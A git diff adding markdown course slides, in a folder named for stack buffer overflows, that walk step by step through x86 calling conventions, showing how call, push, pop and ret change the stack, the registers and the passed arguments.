@@ -0,0 +1,138 @@
+
+
+| 0xffffd980 | |
+| ---------- | ---------------------------- |
+| 0xffffd984 | |
+| 0xffffd988 | |
+| 0xffffd98c | |
+| 0xffffd990 | |
+| 0xffffd994 | |
+| 0xffffd998 | Stuff from the main function |
+
+
+
+- main:
+
+- - 0x80491b1: call test1
+ - 0x80491b6: some other instruction
+
+- test1:
+
+- - 0x8049166: push %ebp
+ - 0x8049167: mov %esp, %ebp
+ - 0x8049169: nop
+ - 0x804916a: pop %ebp
+ - 0x804916b: ret
+
+| espstack ptr | eipinstruction ptr | ebpbase ptr |
+| ------------ | ------------------ | ----------- |
+| 0xffffd998 | 0x080491b1 | 0xffffd998 |
+
+
+
+x86 Calling Conventions
+
+| 0xffffd980 | |
+| ---------- | ---------------------------- |
+| 0xffffd984 | |
+| 0xffffd988 | |
+| 0xffffd98c | |
+| 0xffffd990 | |
+| 0xffffd994 | |
+| 0xffffd998 | Stuff from the main function |
+
+
+
+- main:
+
+- - 0x80491b1: call test1
+ - 0x80491b6: some other instruction
+
+- test1:
+
+- - 0x8049166: push %ebp
+ - 0x8049167: mov %esp, %ebp
+ - 0x8049169: nop
+ - 0x804916a: pop %ebp
+ - 0x804916b: ret
+
+Remember: call is just
+
+push %eip; jmp
+
+| espstack ptr | eipinstruction ptr | ebpbase ptr |
+| ------------ | ------------------ | ----------- |
+| 0xffffd998 | 0x080491b6 | 0xffffd998 |
+
+
+
+x86 Calling Conventions
+
+| 0xffffd980 | |
+| ---------- | ----------------------------- |
+| 0xffffd984 | |
+| 0xffffd988 | |
+| 0xffffd98c | |
+| 0xffffd990 | |
+| 0xffffd994 | 0x80491b6 (saved return addr) |
+| 0xffffd998 | Stuff from the main function |
+
+
+
+- main:
+
+- - 0x80491b1: call test1
+ - 0x80491b6: some other instruction
+
+- test1:
+
+- - 0x8049166: push %ebp
+ - 0x8049167: mov %esp, %ebp
+ - 0x8049169: nop
+ - 0x804916a: pop %ebp
+ - 0x804916b: ret
+
+Remember: call is just
+
+push %eip; jmp
+
+| espstack ptr | eipinstruction ptr | ebpbase ptr |
+| ------------ | ------------------ | ----------- |
+| 0xffffd994 | 0x080491b6 | 0xffffd998 |
+
+
+
+x86 Calling Conventions
+
+| 0xffffd980 | |
+| ---------- | ----------------------------- |
+| 0xffffd984 | |
+| 0xffffd988 | |
+| 0xffffd98c | |
+| 0xffffd990 | |
+| 0xffffd994 | 0x80491b6 (saved return addr) |
+| 0xffffd998 | Stuff from the main function |
+
+
+
+- main:
+
+- - 0x80491b1: call test1
+ - 0x80491b6: some other instruction
+
+- test1:
+
+- - 0x8049166: push %ebp
+ - 0x8049167: mov %esp, %ebp
+ - 0x8049169: nop
+ - 0x804916a: pop %ebp
+ - 0x804916b: ret
+
+Remember: call is just
+
+push %eip; jmp
+
+| espstack ptr | eipinstruction ptr | ebpbase ptr |
+| ------------ | ------------------ | ----------- |
+| 0xffffd994 | 0x08049166 | 0xffffd998 |
+
diff --git a/Module_Cybersecurity/Stack Buffer Overflow/4.md b/Module_Cybersecurity/Stack Buffer Overflow/4.md
new file mode 100644
index 00000000..3ca5aee4
--- /dev/null
+++ b/Module_Cybersecurity/Stack Buffer Overflow/4.md
@@ -0,0 +1,181 @@
+# x86 Calling Conventions
+
+| 0xffffd980 | |
+| ---------- | ----------------------------- |
+| 0xffffd984 | |
+| 0xffffd988 | |
+| 0xffffd98c | |
+| 0xffffd990 | |
+| 0xffffd994 | 0x80491b6 (saved return addr) |
+| 0xffffd998 | Stuff from the main function |
+
+
+
+- main:
+
+- - 0x80491b1: call test1
+ - 0x80491b6: some other instruction
+
+- test1:
+
+- - 0x8049166: push %ebp
+ - 0x8049167: mov %esp, %ebp
+ - 0x8049169: nop
+ - 0x804916a: pop %ebp
+ - 0x804916b: ret
+
+| espstack ptr | eipinstruction ptr | ebpbase ptr |
+| ------------ | ------------------ | ----------- |
+| 0xffffd994 | 0x08049166 | 0xffffd998 |
+
+
+
+| 0xffffd980 | |
+| ---------- | ----------------------------- |
+| 0xffffd984 | |
+| 0xffffd988 | |
+| 0xffffd98c | |
+| 0xffffd990 | 0xffffd998 (saved ebp) |
+| 0xffffd994 | 0x80491b6 (saved return addr) |
+| 0xffffd998 | Stuff from the main function |
+
+
+
+- main:
+
+- - 0x80491b1: call test1
+ - 0x80491b6: some other instruction
+
+- test1:
+
+- - 0x8049166: push %ebp
+ - 0x8049167: mov %esp, %ebp
+ - 0x8049169: nop
+ - 0x804916a: pop %ebp
+ - 0x804916b: ret
+
+| espstack ptr | eipinstruction ptr | ebpbase ptr |
+| ------------ | ------------------ | ----------- |
+| 0xffffd990 | 0x08049167 | 0xffffd998 |
+
+
+
+| 0xffffd980 | |
+| ---------- | ----------------------------- |
+| 0xffffd984 | |
+| 0xffffd988 | |
+| 0xffffd98c | |
+| 0xffffd990 | 0xffffd998 (saved ebp) |
+| 0xffffd994 | 0x80491b6 (saved return addr) |
+| 0xffffd998 | Stuff from the main function |
+
+
+
+- main:
+
+- - 0x80491b1: call test1
+ - 0x80491b6: some other instruction
+
+- test1:
+
+- - 0x8049166: push %ebp
+ - 0x8049167: mov %esp, %ebp
+ - 0x8049169: nop
+ - 0x804916a: pop %ebp
+ - 0x804916b: ret
+
+| espstack ptr | eipinstruction ptr | ebpbase ptr |
+| ------------ | ------------------ | ----------- |
+| 0xffffd990 | 0x0804916a | 0xffffd990 |
+
+
+
+| 0xffffd980 | |
+| ---------- | ----------------------------- |
+| 0xffffd984 | |
+| 0xffffd988 | |
+| 0xffffd98c | |
+| 0xffffd990 | 0xffffd998 (saved ebp) |
+| 0xffffd994 | 0x80491b6 (saved return addr) |
+| 0xffffd998 | Stuff from the main function |
+
+
+
+- main:
+
+- - 0x80491b1: call test1
+ - 0x80491b6: some other instruction
+
+- test1:
+
+- - 0x8049166: push %ebp
+ - 0x8049167: mov %esp, %ebp
+ - 0x8049169: nop
+ - 0x804916a: pop %ebp
+ - 0x804916b: ret
+
+| espstack ptr | eipinstruction ptr | ebpbase ptr |
+| ------------ | ------------------ | ----------- |
+| 0xffffd994 | 0x0804916b | 0xffffd998 |
+
+
+
+| 0xffffd980 | |
+| ---------- | ----------------------------- |
+| 0xffffd984 | |
+| 0xffffd988 | |
+| 0xffffd98c | |
+| 0xffffd990 | 0xffffd998 (saved ebp) |
+| 0xffffd994 | 0x80491b6 (saved return addr) |
+| 0xffffd998 | Stuff from the main function |
+
+
+
+- main:
+
+- - 0x80491b1: call test1
+ - 0x80491b6: some other instruction
+
+- test1:
+
+- - 0x8049166: push %ebp
+ - 0x8049167: mov %esp, %ebp
+ - 0x8049169: nop
+ - 0x804916a: pop %ebp
+ - 0x804916b: ret
+
+Reminder: ret is the same as
+
+pop %eip
+
+| espstack ptr | eipinstruction ptr | ebpbase ptr |
+| ------------ | ------------------ | ----------- |
+| 0xffffd994 | 0x0804916b | 0xffffd998 |
+
+| 0xffffd980 | |
+| ---------- | ----------------------------- |
+| 0xffffd984 | |
+| 0xffffd988 | |
+| 0xffffd98c | |
+| 0xffffd990 | 0xffffd998 (saved ebp) |
+| 0xffffd994 | 0x80491b6 (saved return addr) |
+| 0xffffd998 | Stuff from the main function |
+
+
+
+- main:
+
+- - 0x80491b1: call test1
+ - 0x80491b6: some other instruction
+
+- test1:
+
+- - 0x8049166: push %ebp
+ - 0x8049167: mov %esp, %ebp
+ - 0x8049169: nop
+ - 0x804916a: pop %ebp
+ - 0x804916b: ret
+
+| espstack ptr | eipinstruction ptr | ebpbase ptr |
+| ------------ | ------------------ | ----------- |
+| 0xffffd998 | 0x080491b6 | 0xffffd998 |
\ No newline at end of file
diff --git a/Module_Cybersecurity/Stack Buffer Overflow/5.md b/Module_Cybersecurity/Stack Buffer Overflow/5.md
new file mode 100644
index 00000000..c5cee915
--- /dev/null
+++ b/Module_Cybersecurity/Stack Buffer Overflow/5.md
@@ -0,0 +1,11 @@
+# x86 Calling Conventions
+
+- When you call a function, the “return address” (aka where you would continue executing) is pushed onto the stack
+
+- - This way the function you’re calling knows where to continue execution once it’s finished
+
+- esp (stack pointer) and ebp (base pointer) are kept the same before and after the function call
+
+- - There are some other registers that are supposed to be the same, but it’s not important here
+
+- Let’s take a look at test2, which is nearly the same as test1, but it’s important to understand this part first so let’s go through the example again.
\ No newline at end of file
diff --git a/Module_Cybersecurity/Stack Buffer Overflow/6.md b/Module_Cybersecurity/Stack Buffer Overflow/6.md
new file mode 100644
index 00000000..f82977f2
--- /dev/null
+++ b/Module_Cybersecurity/Stack Buffer Overflow/6.md
@@ -0,0 +1,279 @@
+# x86 Calling Conventions
+
+| 0xffffd980 | |
+| ---------- | ---------------------------- |
+| 0xffffd984 | |
+| 0xffffd988 | |
+| 0xffffd98c | junk |
+| 0xffffd990 | junk |
+| 0xffffd994 | junk |
+| 0xffffd998 | Stuff from the main function |
+
+
+
+- main:
+
+- - 0x80491b6: call test2
+ - 0x80491bb: some other instruction
+
+- test2:
+
+- - 0x804916c: push %ebp
+ - 0x804916d: mov %esp, %ebp
+ - 0x804916f: mov $0x5, %eax
+ - 0x8049174: pop %ebp
+ - 0x8049175: ret
+
+| espstack ptr | eipinstruction ptr | ebpbase ptr |
+| ------------ | ------------------ | ----------- |
+| 0xffffd998 | 0x080491b6 | 0xffffd998 |
+
+
+
+| 0xffffd980 | |
+| ---------- | ---------------------------- |
+| 0xffffd984 | |
+| 0xffffd988 | |
+| 0xffffd98c | junk |
+| 0xffffd990 | junk |
+| 0xffffd994 | junk |
+| 0xffffd998 | Stuff from the main function |
+
+
+
+- main:
+
+- - 0x80491b6: call test2
+ - 0x80491bb: some other instruction
+
+- test2:
+
+- - 0x804916c: push %ebp
+ - 0x804916d: mov %esp, %ebp
+ - 0x804916f: mov $0x5, %eax
+ - 0x8049174: pop %ebp
+ - 0x8049175: ret
+
+call addr = push %eip; jmp addr
+
+| espstack ptr | eipinstruction ptr | ebpbase ptr |
+| ------------ | ------------------ | ----------- |
+| 0xffffd998 | 0x080491bb | 0xffffd998 |
+
+
+
+| 0xffffd980 | |
+| ---------- | ------------------------------ |
+| 0xffffd984 | |
+| 0xffffd988 | |
+| 0xffffd98c | junk |
+| 0xffffd990 | junk |
+| 0xffffd994 | 0x080491bb (saved return addr) |
+| 0xffffd998 | Stuff from the main function |
+
+
+
+- main:
+
+- - 0x80491b6: call test2
+ - 0x80491bb: some other instruction
+
+- test2:
+
+- - 0x804916c: push %ebp
+ - 0x804916d: mov %esp, %ebp
+ - 0x804916f: mov $0x5, %eax
+ - 0x8049174: pop %ebp
+ - 0x8049175: ret
+
+call addr = push %eip; jmp addr
+
+| espstack ptr | eipinstruction ptr | ebpbase ptr |
+| ------------ | ------------------ | ----------- |
+| 0xffffd994 | 0x080491bb | 0xffffd998 |
+
+
+
+| 0xffffd980 | |
+| ---------- | ------------------------------ |
+| 0xffffd984 | |
+| 0xffffd988 | |
+| 0xffffd98c | junk |
+| 0xffffd990 | junk |
+| 0xffffd994 | 0x080491bb (saved return addr) |
+| 0xffffd998 | Stuff from the main function |
+
+
+
+- main:
+
+- - 0x80491b6: call test2
+ - 0x80491bb: some other instruction
+
+- test2:
+
+- - 0x804916c: push %ebp
+ - 0x804916d: mov %esp, %ebp
+ - 0x804916f: mov $0x5, %eax
+ - 0x8049174: pop %ebp
+ - 0x8049175: ret
+
+| espstack ptr | eipinstruction ptr | ebpbase ptr |
+| ------------ | ------------------ | ----------- |
+| 0xffffd994 | 0x0804916c | 0xffffd998 |
+
+
+
+| 0xffffd980 | |
+| ---------- | ------------------------------ |
+| 0xffffd984 | |
+| 0xffffd988 | |
+| 0xffffd98c | junk |
+| 0xffffd990 | 0xffffd998 (saved ebp) |
+| 0xffffd994 | 0x080491bb (saved return addr) |
+| 0xffffd998 | Stuff from the main function |
+
+
+
+- main:
+
+- - 0x80491b6: call test2
+ - 0x80491bb: some other instruction
+
+- test2:
+
+- - 0x804916c: push %ebp
+ - 0x804916d: mov %esp, %ebp
+ - 0x804916f: mov $0x5, %eax
+ - 0x8049174: pop %ebp
+ - 0x8049175: ret
+
+| espstack ptr | eipinstruction ptr | ebpbase ptr |
+| ------------ | ------------------ | ----------- |
+| 0xffffd990 | 0x0804916d | 0xffffd998 |
+
+
+
+| 0xffffd980 | |
+| ---------- | ------------------------------ |
+| 0xffffd984 | |
+| 0xffffd988 | |
+| 0xffffd98c | junk |
+| 0xffffd990 | 0xffffd998 (saved ebp) |
+| 0xffffd994 | 0x080491bb (saved return addr) |
+| 0xffffd998 | Stuff from the main function |
+
+
+
+- main:
+
+- - 0x80491b6: call test2
+ - 0x80491bb: some other instruction
+
+- test2:
+
+- - 0x804916c: push %ebp
+ - 0x804916d: mov %esp, %ebp
+ - 0x804916f: mov $0x5, %eax
+ - 0x8049174: pop %ebp
+ - 0x8049175: ret
+
+| espstack ptr | eipinstruction ptr | ebpbase ptr |
+| ------------ | ------------------ | ----------- |
+| 0xffffd990 | 0x0804916f | 0xffffd990 |
+
+
+
+| 0xffffd980 | |
+| ---------- | ------------------------------ |
+| 0xffffd984 | |
+| 0xffffd988 | |
+| 0xffffd98c | junk |
+| 0xffffd990 | 0xffffd998 (saved ebp) |
+| 0xffffd994 | 0x080491bb (saved return addr) |
+| 0xffffd998 | Stuff from the main function |
+
+
+
+- main:
+
+- - 0x80491b6: call test2
+ - 0x80491bb: some other instruction
+
+- test2:
+
+- - 0x804916c: push %ebp
+ - 0x804916d: mov %esp, %ebp
+ - 0x804916f: mov $0x5, %eax
+ - 0x8049174: pop %ebp
+ - 0x8049175: ret
+
+Note: eax is now 5
+
+| espstack ptr | eipinstruction ptr | ebpbase ptr |
+| ------------ | ------------------ | ----------- |
+| 0xffffd990 | 0x08049174 | 0xffffd990 |
+
+
+
+| 0xffffd980 | |
+| ---------- | ------------------------------ |
+| 0xffffd984 | |
+| 0xffffd988 | |
+| 0xffffd98c | junk |
+| 0xffffd990 | 0xffffd998 (saved ebp) |
+| 0xffffd994 | 0x080491bb (saved return addr) |
+| 0xffffd998 | Stuff from the main function |
+
+
+
+- main:
+
+- - 0x80491b6: call test2
+ - 0x80491bb: some other instruction
+
+- test2:
+
+- - 0x804916c: push %ebp
+ - 0x804916d: mov %esp, %ebp
+ - 0x804916f: mov $0x5, %eax
+ - 0x8049174: pop %ebp
+ - 0x8049175: ret
+
+Note: eax is now 5
+
+| espstack ptr | eipinstruction ptr | ebpbase ptr |
+| ------------ | ------------------ | ----------- |
+| 0xffffd994 | 0x08049175 | 0xffffd998 |
+
+
+
+| 0xffffd980 | |
+| ---------- | ------------------------------ |
+| 0xffffd984 | |
+| 0xffffd988 | |
+| 0xffffd98c | junk |
+| 0xffffd990 | 0xffffd998 (saved ebp) |
+| 0xffffd994 | 0x080491bb (saved return addr) |
+| 0xffffd998 | Stuff from the main function |
+
+
+
+- main:
+
+- - 0x80491b6: call test2
+ - 0x80491bb: some other instruction
+
+- test2:
+
+- - 0x804916c: push %ebp
+ - 0x804916d: mov %esp, %ebp
+ - 0x804916f: mov $0x5, %eax
+ - 0x8049174: pop %ebp
+ - 0x8049175: ret
+
+Note: eax is now 5
+
+| espstack ptr | eipinstruction ptr | ebpbase ptr |
+| ------------ | ------------------ | ----------- |
+| 0xffffd998 | 0x080491bb | 0xffffd998 |
\ No newline at end of file
diff --git a/Module_Cybersecurity/Stack Buffer Overflow/7.md b/Module_Cybersecurity/Stack Buffer Overflow/7.md
new file mode 100644
index 00000000..e5d8824e
--- /dev/null
+++ b/Module_Cybersecurity/Stack Buffer Overflow/7.md
@@ -0,0 +1,11 @@
+# x86 Calling Conventions
+
+- Hopefully you now understand how the process works
+
+- - If not, please ask!
+
+- Also, the %eax register is used for passing back return values
+
+- - Note how “return 5;” becomes “mov $0x5, %eax”
+
+- With that out of the way, let’s look at how you pass in variables into a function!
\ No newline at end of file
diff --git a/Module_Cybersecurity/Stack Buffer Overflow/8.md b/Module_Cybersecurity/Stack Buffer Overflow/8.md
new file mode 100644
index 00000000..bffb2d6e
--- /dev/null
+++ b/Module_Cybersecurity/Stack Buffer Overflow/8.md
@@ -0,0 +1,659 @@
+# x86 Calling Conventions: Passing Variable into Function
+
+Scratch work goes here!
+
+Sorry for the mess, I couldn’t fit
+
+everything in nicely.
+
+| eax=? |
+| ----- |
+| edx=? |
+
+
+
+x86 Calling Conventions
+
+
+
+- main:
+
+- - 0x80491bb: push $0x3
+ - 0x80491bd: push $0x2
+ - 0x80491bf: push $0x1
+ - 0x80491c1: call test3
+ - 0x80491c6: add $0xc, %esp
+ - 0x80491c9: some other instruction
+
+- test3:
+
+- - 8049176: push %ebp
+ - 8049177: mov %esp,%ebp
+ - 8049179: mov 0x8(%ebp),%edx
+ - 804917c: mov 0xc(%ebp),%eax
+ - 804917f: add %eax,%edx
+ - 8049181: mov 0x10(%ebp),%eax
+ - 8049184: add %edx,%eax
+ - 8049186: pop %ebp
+ - 8049187: ret
+
+| 0xffffd984 | |
+| ---------- | ---------------------------- |
+| 0xffffd988 | |
+| 0xffffd98c | |
+| 0xffffd990 | |
+| 0xffffd994 | |
+| 0xffffd998 | Stuff from the main function |
+
+| espstack ptr | eipinstruction ptr | ebpbase ptr |
+| ------------ | ------------------ | ----------- |
+| 0xffffd998 | 0x080491bb | 0xffffd998 |
+
+
+
+| eax=? |
+| ----- |
+| edx=? |
+
+- main:
+
+- - 0x80491bb: push $0x3
+ - 0x80491bd: push $0x2
+ - 0x80491bf: push $0x1
+ - 0x80491c1: call test3
+ - 0x80491c6: add $0xc, %esp
+ - 0x80491c9: some other instruction
+
+- test3:
+
+- - 8049176: push %ebp
+ - 8049177: mov %esp,%ebp
+ - 8049179: mov 0x8(%ebp),%edx
+ - 804917c: mov 0xc(%ebp),%eax
+ - 804917f: add %eax,%edx
+ - 8049181: mov 0x10(%ebp),%eax
+ - 8049184: add %edx,%eax
+ - 8049186: pop %ebp
+ - 8049187: ret
+
+| 0xffffd984 | |
+| ---------- | ---------------------------- |
+| 0xffffd988 | |
+| 0xffffd98c | |
+| 0xffffd990 | |
+| 0xffffd994 | 3 |
+| 0xffffd998 | Stuff from the main function |
+
+| espstack ptr | eipinstruction ptr | ebpbase ptr |
+| ------------ | ------------------ | ----------- |
+| 0xffffd994 | 0x080491bd | 0xffffd998 |
+
+
+
+| eax=? |
+| ----- |
+| edx=? |
+
+
+
+- main:
+
+- - 0x80491bb: push $0x3
+ - 0x80491bd: push $0x2
+ - 0x80491bf: push $0x1
+ - 0x80491c1: call test3
+ - 0x80491c6: add $0xc, %esp
+ - 0x80491c9: some other instruction
+
+- test3:
+
+- - 8049176: push %ebp
+ - 8049177: mov %esp,%ebp
+ - 8049179: mov 0x8(%ebp),%edx
+ - 804917c: mov 0xc(%ebp),%eax
+ - 804917f: add %eax,%edx
+ - 8049181: mov 0x10(%ebp),%eax
+ - 8049184: add %edx,%eax
+ - 8049186: pop %ebp
+ - 8049187: ret
+
+| 0xffffd984 | |
+| ---------- | ---------------------------- |
+| 0xffffd988 | |
+| 0xffffd98c | |
+| 0xffffd990 | 2 |
+| 0xffffd994 | 3 |
+| 0xffffd998 | Stuff from the main function |
+
+| espstack ptr | eipinstruction ptr | ebpbase ptr |
+| ------------ | ------------------ | ----------- |
+| 0xffffd990 | 0x080491bf | 0xffffd998 |
+
+
+
+| eax=? |
+| ----- |
+| edx=? |
+
+- main:
+
+- - 0x80491bb: push $0x3
+ - 0x80491bd: push $0x2
+ - 0x80491bf: push $0x1
+ - 0x80491c1: call test3
+ - 0x80491c6: add $0xc, %esp
+ - 0x80491c9: some other instruction
+
+- test3:
+
+- - 8049176: push %ebp
+ - 8049177: mov %esp,%ebp
+ - 8049179: mov 0x8(%ebp),%edx
+ - 804917c: mov 0xc(%ebp),%eax
+ - 804917f: add %eax,%edx
+ - 8049181: mov 0x10(%ebp),%eax
+ - 8049184: add %edx,%eax
+ - 8049186: pop %ebp
+ - 8049187: ret
+
+| 0xffffd984 | |
+| ---------- | ---------------------------- |
+| 0xffffd988 | |
+| 0xffffd98c | 1 |
+| 0xffffd990 | 2 |
+| 0xffffd994 | 3 |
+| 0xffffd998 | Stuff from the main function |
+
+| espstack ptr | eipinstruction ptr | ebpbase ptr |
+| ------------ | ------------------ | ----------- |
+| 0xffffd98c | 0x080491c1 | 0xffffd998 |
+
+
+
+| eax=? |
+| ----- |
+| edx=? |
+
+- main:
+
+- - 0x80491bb: push $0x3
+ - 0x80491bd: push $0x2
+ - 0x80491bf: push $0x1
+ - 0x80491c1: call test3
+ - 0x80491c6: add $0xc, %esp
+ - 0x80491c9: some other instruction
+
+- test3:
+
+- - 8049176: push %ebp
+ - 8049177: mov %esp,%ebp
+ - 8049179: mov 0x8(%ebp),%edx
+ - 804917c: mov 0xc(%ebp),%eax
+ - 804917f: add %eax,%edx
+ - 8049181: mov 0x10(%ebp),%eax
+ - 8049184: add %edx,%eax
+ - 8049186: pop %ebp
+ - 8049187: ret
+
+| 0xffffd984 | |
+| ---------- | ----------------------------- |
+| 0xffffd988 | 0x80491c6 (saved return addr) |
+| 0xffffd98c | 1 |
+| 0xffffd990 | 2 |
+| 0xffffd994 | 3 |
+| 0xffffd998 | Stuff from the main function |
+
+| espstack ptr | eipinstruction ptr | ebpbase ptr |
+| ------------ | ------------------ | ----------- |
+| 0xffffd988 | 0x08049176 | 0xffffd998 |
+
+
+
+| eax=? |
+| ----- |
+| edx=? |
+
+main:
+
+- - 0x80491bb: push $0x3
+ - 0x80491bd: push $0x2
+ - 0x80491bf: push $0x1
+ - 0x80491c1: call test3
+ - 0x80491c6: add $0xc, %esp
+ - 0x80491c9: some other instruction
+
+- test3:
+
+- - 8049176: push %ebp
+ - 8049177: mov %esp,%ebp
+ - 8049179: mov 0x8(%ebp),%edx
+ - 804917c: mov 0xc(%ebp),%eax
+ - 804917f: add %eax,%edx
+ - 8049181: mov 0x10(%ebp),%eax
+ - 8049184: add %edx,%eax
+ - 8049186: pop %ebp
+ - 8049187: ret
+
+| 0xffffd984 | 0xffffd998 (saved ebp) |
+| ---------- | ----------------------------- |
+| 0xffffd988 | 0x80491c6 (saved return addr) |
+| 0xffffd98c | 1 |
+| 0xffffd990 | 2 |
+| 0xffffd994 | 3 |
+| 0xffffd998 | Stuff from the main function |
+
+| espstack ptr | eipinstruction ptr | ebpbase ptr |
+| ------------ | ------------------ | ----------- |
+| 0xffffd984 | 0x08049177 | 0xffffd998 |
+
+
+
+Note: 0x8(%ebp) = *(8+0xffffd984)
+
+ = *(0xffffd98c) = 1
+
+| eax=? |
+| ----- |
+| edx=? |
+
+- main:
+
+- - 0x80491bb: push $0x3
+ - 0x80491bd: push $0x2
+ - 0x80491bf: push $0x1
+ - 0x80491c1: call test3
+ - 0x80491c6: add $0xc, %esp
+ - 0x80491c9: some other instruction
+
+- test3:
+
+- - 8049176: push %ebp
+ - 8049177: mov %esp,%ebp
+ - 8049179: mov 0x8(%ebp),%edx
+ - 804917c: mov 0xc(%ebp),%eax
+ - 804917f: add %eax,%edx
+ - 8049181: mov 0x10(%ebp),%eax
+ - 8049184: add %edx,%eax
+ - 8049186: pop %ebp
+ - 8049187: ret
+
+| 0xffffd984 | 0xffffd998 (saved ebp) |
+| ---------- | ----------------------------- |
+| 0xffffd988 | 0x80491c6 (saved return addr) |
+| 0xffffd98c | 1 |
+| 0xffffd990 | 2 |
+| 0xffffd994 | 3 |
+| 0xffffd998 | Stuff from the main function |
+
+| espstack ptr | eipinstruction ptr | ebpbase ptr |
+| ------------ | ------------------ | ----------- |
+| 0xffffd984 | 0x08049179 | 0xffffd984 |
+
+
+
+Note: 0xc(%ebp) = *(12+0xffffd984)
+
+ = *(0xffffd990) = 2
+
+| eax=? |
+| ----- |
+| edx=1 |
+
+- main:
+
+- - 0x80491bb: push $0x3
+ - 0x80491bd: push $0x2
+ - 0x80491bf: push $0x1
+ - 0x80491c1: call test3
+ - 0x80491c6: add $0xc, %esp
+ - 0x80491c9: some other instruction
+
+- test3:
+
+- - 8049176: push %ebp
+ - 8049177: mov %esp,%ebp
+ - 8049179: mov 0x8(%ebp),%edx
+ - 804917c: mov 0xc(%ebp),%eax
+ - 804917f: add %eax,%edx
+ - 8049181: mov 0x10(%ebp),%eax
+ - 8049184: add %edx,%eax
+ - 8049186: pop %ebp
+ - 8049187: ret
+
+| 0xffffd984 | 0xffffd998 (saved ebp) |
+| ---------- | ----------------------------- |
+| 0xffffd988 | 0x80491c6 (saved return addr) |
+| 0xffffd98c | 1 |
+| 0xffffd990 | 2 |
+| 0xffffd994 | 3 |
+| 0xffffd998 | Stuff from the main function |
+
+| espstack ptr | eipinstruction ptr | ebpbase ptr |
+| ------------ | ------------------ | ----------- |
+| 0xffffd984 | 0x0804917c | 0xffffd984 |
+
+
+
+Note: add %eax, %edx => edx=edx+eax
+
+| eax=2 |
+| ----- |
+| edx=1 |
+
+- main:
+
+- - 0x80491bb: push $0x3
+ - 0x80491bd: push $0x2
+ - 0x80491bf: push $0x1
+ - 0x80491c1: call test3
+ - 0x80491c6: add $0xc, %esp
+ - 0x80491c9: some other instruction
+
+- test3:
+
+- - 8049176: push %ebp
+ - 8049177: mov %esp,%ebp
+ - 8049179: mov 0x8(%ebp),%edx
+ - 804917c: mov 0xc(%ebp),%eax
+ - 804917f: add %eax,%edx
+ - 8049181: mov 0x10(%ebp),%eax
+ - 8049184: add %edx,%eax
+ - 8049186: pop %ebp
+ - 8049187: ret
+
+| 0xffffd984 | 0xffffd998 (saved ebp) |
+| ---------- | ----------------------------- |
+| 0xffffd988 | 0x80491c6 (saved return addr) |
+| 0xffffd98c | 1 |
+| 0xffffd990 | 2 |
+| 0xffffd994 | 3 |
+| 0xffffd998 | Stuff from the main function |
+
+| espstack ptr | eipinstruction ptr | ebpbase ptr |
+| ------------ | ------------------ | ----------- |
+| 0xffffd984 | 0x0804917f | 0xffffd984 |
+
+
+
+Note: 0x10(%ebp) = *(16+0xffffd984)
+
+ = *(0xffffd994) = 3
+
+| eax=2 |
+| ----- |
+| edx=3 |
+
+- main:
+
+- - 0x80491bb: push $0x3
+ - 0x80491bd: push $0x2
+ - 0x80491bf: push $0x1
+ - 0x80491c1: call test3
+ - 0x80491c6: add $0xc, %esp
+ - 0x80491c9: some other instruction
+
+- test3:
+
+- - 8049176: push %ebp
+ - 8049177: mov %esp,%ebp
+ - 8049179: mov 0x8(%ebp),%edx
+ - 804917c: mov 0xc(%ebp),%eax
+ - 804917f: add %eax,%edx
+ - 8049181: mov 0x10(%ebp),%eax
+ - 8049184: add %edx,%eax
+ - 8049186: pop %ebp
+ - 8049187: ret
+
+| 0xffffd984 | 0xffffd998 (saved ebp) |
+| ---------- | ----------------------------- |
+| 0xffffd988 | 0x80491c6 (saved return addr) |
+| 0xffffd98c | 1 |
+| 0xffffd990 | 2 |
+| 0xffffd994 | 3 |
+| 0xffffd998 | Stuff from the main function |
+
+| espstack ptr | eipinstruction ptr | ebpbase ptr |
+| ------------ | ------------------ | ----------- |
+| 0xffffd984 | 0x08049181 | 0xffffd984 |
+
+
+
+Note: add %edx, %eax => eax=eax+edx
+
+| eax=3 |
+| ----- |
+| edx=3 |
+
+- main:
+
+- - 0x80491bb: push $0x3
+ - 0x80491bd: push $0x2
+ - 0x80491bf: push $0x1
+ - 0x80491c1: call test3
+ - 0x80491c6: add $0xc, %esp
+ - 0x80491c9: some other instruction
+
+- test3:
+
+- - 8049176: push %ebp
+ - 8049177: mov %esp,%ebp
+ - 8049179: mov 0x8(%ebp),%edx
+ - 804917c: mov 0xc(%ebp),%eax
+ - 804917f: add %eax,%edx
+ - 8049181: mov 0x10(%ebp),%eax
+ - 8049184: add %edx,%eax
+ - 8049186: pop %ebp
+ - 8049187: ret
+
+| 0xffffd984 | 0xffffd998 (saved ebp) |
+| ---------- | ----------------------------- |
+| 0xffffd988 | 0x80491c6 (saved return addr) |
+| 0xffffd98c | 1 |
+| 0xffffd990 | 2 |
+| 0xffffd994 | 3 |
+| 0xffffd998 | Stuff from the main function |
+
+| espstack ptr | eipinstruction ptr | ebpbase ptr |
+| ------------ | ------------------ | ----------- |
+| 0xffffd984 | 0x08049184 | 0xffffd984 |
+
+
+
+Note: eax now contains our return value, 6
+
+| eax=6 |
+| ----- |
+| edx=3 |
+
+- main:
+
+- - 0x80491bb: push $0x3
+ - 0x80491bd: push $0x2
+ - 0x80491bf: push $0x1
+ - 0x80491c1: call test3
+ - 0x80491c6: add $0xc, %esp
+ - 0x80491c9: some other instruction
+
+- test3:
+
+- - 8049176: push %ebp
+ - 8049177: mov %esp,%ebp
+ - 8049179: mov 0x8(%ebp),%edx
+ - 804917c: mov 0xc(%ebp),%eax
+ - 804917f: add %eax,%edx
+ - 8049181: mov 0x10(%ebp),%eax
+ - 8049184: add %edx,%eax
+ - 8049186: pop %ebp
+ - 8049187: ret
+
+| 0xffffd984 | 0xffffd998 (saved ebp) |
+| ---------- | ----------------------------- |
+| 0xffffd988 | 0x80491c6 (saved return addr) |
+| 0xffffd98c | 1 |
+| 0xffffd990 | 2 |
+| 0xffffd994 | 3 |
+| 0xffffd998 | Stuff from the main function |
+
+| espstack ptr | eipinstruction ptr | ebpbase ptr |
+| ------------ | ------------------ | ----------- |
+| 0xffffd984 | 0x08049186 | 0xffffd984 |
+
+
+
+Note: eax now contains our return value, 6
+
+| eax=6 |
+| ----- |
+| edx=3 |
+
+- main:
+
+- - 0x80491bb: push $0x3
+ - 0x80491bd: push $0x2
+ - 0x80491bf: push $0x1
+ - 0x80491c1: call test3
+ - 0x80491c6: add $0xc, %esp
+ - 0x80491c9: some other instruction
+
+- test3:
+
+- - 8049176: push %ebp
+ - 8049177: mov %esp,%ebp
+ - 8049179: mov 0x8(%ebp),%edx
+ - 804917c: mov 0xc(%ebp),%eax
